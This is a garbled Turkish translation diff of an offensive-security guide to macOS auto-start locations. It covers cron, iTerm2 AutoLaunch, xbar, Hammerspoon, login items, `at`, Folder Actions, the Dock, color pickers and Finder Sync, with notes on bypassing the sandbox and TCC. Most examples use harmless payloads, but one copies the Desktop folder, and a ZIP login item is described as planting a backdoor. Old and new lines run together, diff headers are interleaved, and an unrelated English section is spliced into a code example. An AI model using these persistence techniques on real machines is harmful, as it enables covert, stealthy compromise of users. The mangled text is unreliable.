Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi **çok yaygın olmayan koşullar beklemeksizin** basitçe yürütmenizi sağlar. Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi belirli **yaygın olmayan koşulların** olmasını beklemek anlamına gelir.
{% endhint %} {% endhint %}
### Cron ### Cron
@ -373,14 +373,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Kum sandığını atlamak için yararlı: [](https://emojipedia.org/check-mark-button) * Kum sandığını atlamak için yararlı: [](https://emojipedia.org/check-mark-button)
* Ancak, `crontab` ikilisini yürütebilmelisiniz * Ancak, `crontab` ikilisini çalıştırabilmeniz gerekir
* Veya root olmalısınız * Veya root olmanız gerekir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>`yı yürütebiliyorsanız root gerekli değildir * Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>`yı çalıştırabilirseniz root gerekli değildir
* **Tetikleyici**: Cron işine bağlıdır * **Tetikleyici**: Cron işine bağlıdır
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
@ -389,14 +389,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların
```bash ```bash
crontab -l crontab -l
``` ```
MacOS'ta, kullanıcıların tüm cron işlerini **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** dizinlerinde görebilirsiniz (root izni gerektirir). MacOS'ta, **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** (root gerektirir) dizinlerinde kullanıcıların tüm cron işlerini görebilirsiniz.
MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir: MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir:
```bash ```bash
# The one with the cron jobs is /usr/lib/cron/tabs/ # The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
``` ```
Burada düzenli **cron işleri**, **at işleri** (pek kullanılmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde yürütülebilir: `periodic daily`. Burada düzenli **cron işleri**, **at işleri** (pek kullanılmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde çalıştırılabilir: `periodic daily`.
**Kullanıcı cron işi programatik olarak eklemek** için şu kullanılabilir: **Kullanıcı cron işi programatik olarak eklemek** için şu kullanılabilir:
```bash ```bash
@ -414,15 +414,15 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilb
#### Konumlar #### Konumlar
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
* **Tetikleyici**: iTerm açılınca * **Tetikleyici**: iTerm aç
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
* **Tetikleyici**: iTerm açılınca * **Tetikleyici**: iTerm aç
* **`~/Library/Preferences/com.googlecode.iterm2.plist`** * **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **Tetikleyici**: iTerm açılınca * **Tetikleyici**: iTerm aç
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda saklanan betikler çalıştırılacaktır. Örneğin: **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda depolanan betikler çalıştırılacaktır. Örneğin:
```bash ```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash #!/bin/bash
@ -431,7 +431,38 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
``` ```
veya: ## macOS Auto-Start Locations
### Launch Agents
Launch Agents are used to run processes when a user logs in. They are stored in the following locations:
- `/Library/LaunchAgents/`
- `/System/Library/LaunchAgents/`
- `/Users/username/Library/LaunchAgents/`
### Launch Daemons
Launch Daemons are used to run processes at system startup. They are stored in the following locations:
- `/Library/LaunchDaemons/`
- `/System/Library/LaunchDaemons/`
### Login Items
Login Items are applications that open when a user logs in. They can be managed in:
- `System Preferences > Users & Groups > Login Items`
### Startup Items
Startup Items are legacy items that automatically launch when a user logs in. They are stored in:
- `/Library/StartupItems/`
### Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They can be viewed and managed using the `crontab` command.
```bash ```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -456,7 +487,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
Bu ayar, iTerm2 ayarlarında yapılandırılabilir: Bu ayar, iTerm2 ayarlarında yapılandırılabilir:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Ve komut tercihlere yansıtılır: Ve komut tercihlere yansıtılır:
```bash ```bash
@ -468,7 +499,7 @@ plutil -p com.googlecode.iterm2.plist
[...] [...]
"Initial Text" => "touch /tmp/iterm-start-command" "Initial Text" => "touch /tmp/iterm-start-command"
``` ```
Komutun çalıştırılacağı yeri şu şekilde ayarlayabilirsiniz: Komutun çalıştırılacağı şekli ayarlayabilirsiniz:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -484,7 +515,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %} {% endcode %}
{% hint style="warning" %} {% hint style="warning" %}
İTerm2 tercihlerini kötüye kullanmak için **başka yolların** olması muhtemeldir. İTerm2 tercihlerini kötüye kullanmak için **başka yolların** yüksek olasılıkla olduğu düşünülmektedir.
{% endhint %} {% endhint %}
### xbar ### xbar
@ -494,7 +525,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak xbar yüklü olmalı * Ancak xbar yüklü olmalı
* TCC atlatma: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* Erişilebilirlik izinleri istiyor * Erişilebilirlik izni istiyor
#### Konum #### Konum
@ -503,7 +534,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb
#### Açıklama #### Açıklama
Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizinine yazılabilir: Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizininde yazılabilir:
```bash ```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash #!/bin/bash
@ -516,9 +547,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak Hammerspoon'un yüklü olması gerekmektedir * Ancak Hammerspoon yüklü olmalı
* TCC atlatma: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* Erişilebilirlik izinleri istenir * Erişilebilirlik izinleri istiyor
#### Konum #### Konum
@ -527,9 +558,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Açıklama #### Açıklama
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır. [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan bir otomasyon platformu olarak **macOS** için hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır.
Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve başlatıldığında betik yürütülür. Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve betik başlatıldığında yürütülür.
```bash ```bash
mkdir -p "$HOME/.hammerspoon" mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF cat > "$HOME/.hammerspoon/init.lua" << EOF
@ -538,49 +569,49 @@ EOF
``` ```
### BetterTouchTool ### BetterTouchTool
* Kumanda kutusunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kullanışlıdır çünkü kum havuzunu atlar: [](https://emojipedia.org/check-mark-button)
* Ancak BetterTouchTool yüklü olmalı * Ancak BetterTouchTool yüklü olmalıdır
* TCC atlaması: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor * Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor
#### Konum #### Konum
* `~/Library/Application Support/BetterTouchTool/*` * `~/Library/Application Support/BetterTouchTool/*`
Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kodu yürütmesini sağlayabilir (bir kısayol sadece bir tuşa basmak olabilir). Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir).
### Alfred ### Alfred
* Kumanda kutusunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kullanışlıdır çünkü kum havuzunu atlar: [](https://emojipedia.org/check-mark-button)
* Ancak Alfred yüklü olmalı * Ancak Alfred yüklü olmalıdır
* TCC atlaması: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor * Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor
#### Konum #### Konum
* `???` * `???`
Belirli koşullar karşılandığında kodu yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanmak için premium sürümü kullanmak gereklidir). Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanabilmek için premium sürümü kullanmak gereklidir).
### SSHRC ### SSHRC
Yazılım: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Kumanda kutusunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kullanışlıdır çünkü kum havuzunu atlar: [](https://emojipedia.org/check-mark-button)
* Ancak ssh etkinleştirilmiş ve kullanılmış olmalı * Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır
* TCC atlaması: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* SSH'nin FDA erişimine sahip olması gerekiyor * SSH'nin FDA erişimine sahip olması gerekmektedir
#### Konum #### Konum
* **`~/.ssh/rc`** * **`~/.ssh/rc`**
* **Tetikleyici**: ssh üzerinden oturum açma * **Tetikleyici**: SSH üzerinden oturum açma
* **`/etc/ssh/sshrc`** * **`/etc/ssh/sshrc`**
* Root gereklidir * Root gereklidir
* **Tetikleyici**: ssh üzerinden oturum açma * **Tetikleyici**: SSH üzerinden oturum açma
{% hint style="danger" %} {% hint style="danger" %}
Ssh'yi açmak için Tam Disk Erişimi gereklidir: SSH'yi açmak için Tam Disk Erişimi gereklidir:
```bash ```bash
sudo systemsetup -setremotelogin on sudo systemsetup -setremotelogin on
``` ```
@ -621,29 +652,29 @@ osascript -e 'tell application "System Events" to make login item at end with pr
#Remove an item: #Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"' osascript -e 'tell application "System Events" to delete login item "itemname"'
``` ```
Bu öğeler dosyada **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** saklanır. Bu öğeler **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** dosyasında saklanır.
**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'si kullanılarak belirtilebilir ve yapılandırma **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklanacaktır. **Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'sini kullanarak belirtilebilir, bu da yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklayacaktır.
### ZIP olarak Giriş Öğesi ### ZIP olarak Giriş Öğesi
(Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır) (Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır)
Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacaktır ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değilse) o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir sonraki oturum açtığında, plist'te belirtilen **arka kapı yürütülecektir**. Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değil), o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir dahaki sefer oturum açtığında, **plist'te belirtilen arka kapı yürütülecektir**.
Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır. Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı HOME içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır.
### At ### At
ıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak **`at`**'ı **çalıştırmanız** ve **etkinleştirmeniz** gerekmektedir * Ancak **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir**
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlaması: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* **`at`**'ı **çalıştırmanız** ve **etkinleştirmeniz** gerekmektedir * **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir**
#### **Açıklama** #### **Açıklama**
@ -653,17 +684,17 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilb
```bash ```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
``` ```
Bu, 1 saat içinde bir dosya oluşturacak: Bu, 1 saat içinde bir dosya oluşturacaktır:
```bash ```bash
echo "echo 11 > /tmp/at.txt" | at now+1 echo "echo 11 > /tmp/at.txt" | at now+1
``` ```
`atq` komutunu kullanarak iş kuyruğunu kontrol edin: İş kuyruğunu `atq` kullanarak kontrol edin:
```shell-session ```shell-session
sh-3.2# atq sh-3.2# atq
26 Tue Apr 27 00:46:00 2021 26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021 22 Wed Apr 28 00:29:00 2021
``` ```
Yukarıda iki zamanlanmış iş görebiliriz. İşi ayrıntılarıyla yazdırmak için `at -c İŞNUMARASI` kullanabiliriz. Yukarıda iki zamanlanmış iş görebiliriz. İşin detaylarını `at -c İŞNUMARASI` kullanarak yazdırabiliriz.
```shell-session ```shell-session
sh-3.2# at -c 26 sh-3.2# at -c 26
#!/bin/sh #!/bin/sh
@ -707,11 +738,11 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
``` ```
Dosya adı sırayı, iş numarasını ve çalıştırılacağı zamanı içerir. Örneğin `a0001a019bdcd2`'ye bakalım. Dosya adı sırayı, iş numarasını ve çalışma zamanını içerir. Örneğin `a0001a019bdcd2`'ye bakalım.
* `a` - bu kuyruktur * `a` - bu kuyruktur
* `0001a` - onaltılık iş numarası, `0x1a = 26` * `0001a` - onaltılık iş numarası, `0x1a = 26`
* `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalıkta `26991826`'ya denk gelir. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'ye denk gelir. * `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalık olarak `26991826`'dır. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'yi temsil eder.
İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz. İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz.
@ -721,21 +752,21 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilb
ıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) ıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'ı argümanlarla çağırabilmeniz gerekir. * Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'i argümanlarla çağırabilmeniz gerekir.
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir * Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
#### Konum #### Konum
* **`/Library/Scripts/Folder Action Scripts`** * **`/Library/Scripts/Folder Action Scripts`**
* Root gereklidir * Kök izni gereklidir
* **Tetikleyici**: Belirtilen klasöre erişim * **Tetikleyici**: Belirtilen klasöre erişim
* **`~/Library/Scripts/Folder Action Scripts`** * **`~/Library/Scripts/Folder Action Scripts`**
* **Tetikleyici**: Belirtilen klasöre erişim * **Tetikleyici**: Belirtilen klasöre erişim
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Klasör Eylemleri, bir klasördeki değişiklikler (örneğin öğeler eklemek, kaldırmak veya diğer eylemler gibi klasör penceresini açmak veya yeniden boyutlandırmak) tarafından otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilir. Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldırılırken veya diğer eylemler gerçekleşirken veya klasör penceresinin açılması veya yeniden boyutlandırılması gibi diğer eylemlerle tetiklenirler. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilirler.
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz: Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
@ -758,7 +789,7 @@ Yukarıdaki betiği Klasör Eylemleri tarafından kullanılabilir hale getirmek
```bash ```bash
osacompile -l JavaScript -o folder.scpt source.js osacompile -l JavaScript -o folder.scpt source.js
``` ```
Skript derlendikten sonra aşağıdaki komut dosyasını çalıştırarak Klasör İşlemlerini yapılandırın. Bu komut dosyası Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş olan skripti özel olarak Masaüstü klasörüne ekleyecektir. Derlemesi yapıldıktan sonra, aşağıdaki betiği çalıştırarak Klasör İşlemlerini ayarlayın. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir.
```javascript ```javascript
// Enabling and attaching Folder Action // Enabling and attaching Folder Action
var se = Application("System Events"); var se = Application("System Events");
@ -768,7 +799,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa); se.folderActions.push(fa);
fa.scripts.push(myScript); fa.scripts.push(myScript);
``` ```
Ayarlama betiği aşağıdaki komutla çalıştırın: Ayar dosyasını şu şekilde çalıştırın:
```bash ```bash
osascript -l JavaScript /Users/username/attach.scpt osascript -l JavaScript /Users/username/attach.scpt
``` ```
@ -787,16 +818,16 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
``` ```
{% endcode %} {% endcode %}
Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o klasör.scpt kaynak.js` Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
Taşıyın: Taşıyın:
```bash ```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
``` ```
Sonra, `Folder Actions Setup` uygulamasınıın, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda **`folder.scpt`**'yi seçin (benim durumumda buna output2.scp adını verdim): Ardından, `Folder Actions Setup` uygulamasınıın, **izlemek istediğiniz klasörü seçin** ve durumunuzda **`folder.scpt`**'yi seçin (benim durumumda ona output2.scp adını verdim):
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Şimdi, eğer o klasörü **Finder** ile açarsanız, betiğiniz çalıştırılacaktır. Şimdi, eğer o klasörü **Finder** ile açarsanız, betiğiniz çalıştırılacaktır.
@ -808,7 +839,7 @@ Bu yapılandırma, base64 formatında **`~/Library/Preferences/com.apple.FolderA
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. Şimdi, ayarladığınız Klasör Eylemlerini **kaldırın**: 2. Şimdi, ayarladığınız Klasör Eylemlerini **kaldırın**:
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Şimdi boş bir ortama sahip olduğumuza göre Şimdi boş bir ortama sahip olduğumuza göre
@ -836,7 +867,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`** Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`**
Sadece şu komutla bir uygulama **eklemek mümkündür**: Sadece şu şekilde bir uygulama **eklemek mümkündür**:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -920,9 +951,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbi
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Kodunuzla bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın. Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın.
Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da tetiklenmelidir. Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir.
Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
@ -951,9 +982,9 @@ Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu*
#### Açıklama ve Sızma #### Açıklama ve Sızma
Bir Finder Senkronizasyon Uzantısı örneği olan bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync). Bir Finder Senkronizasyon Uzantısı örneği içeren bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync).
Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olması gerekir** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olması gerekir: Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır:
```bash ```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync pluginkit -e use -i com.example.InSync.InSync
@ -961,7 +992,7 @@ pluginkit -e use -i com.example.InSync.InSync
### Ekran Koruyucu ### Ekran Koruyucu
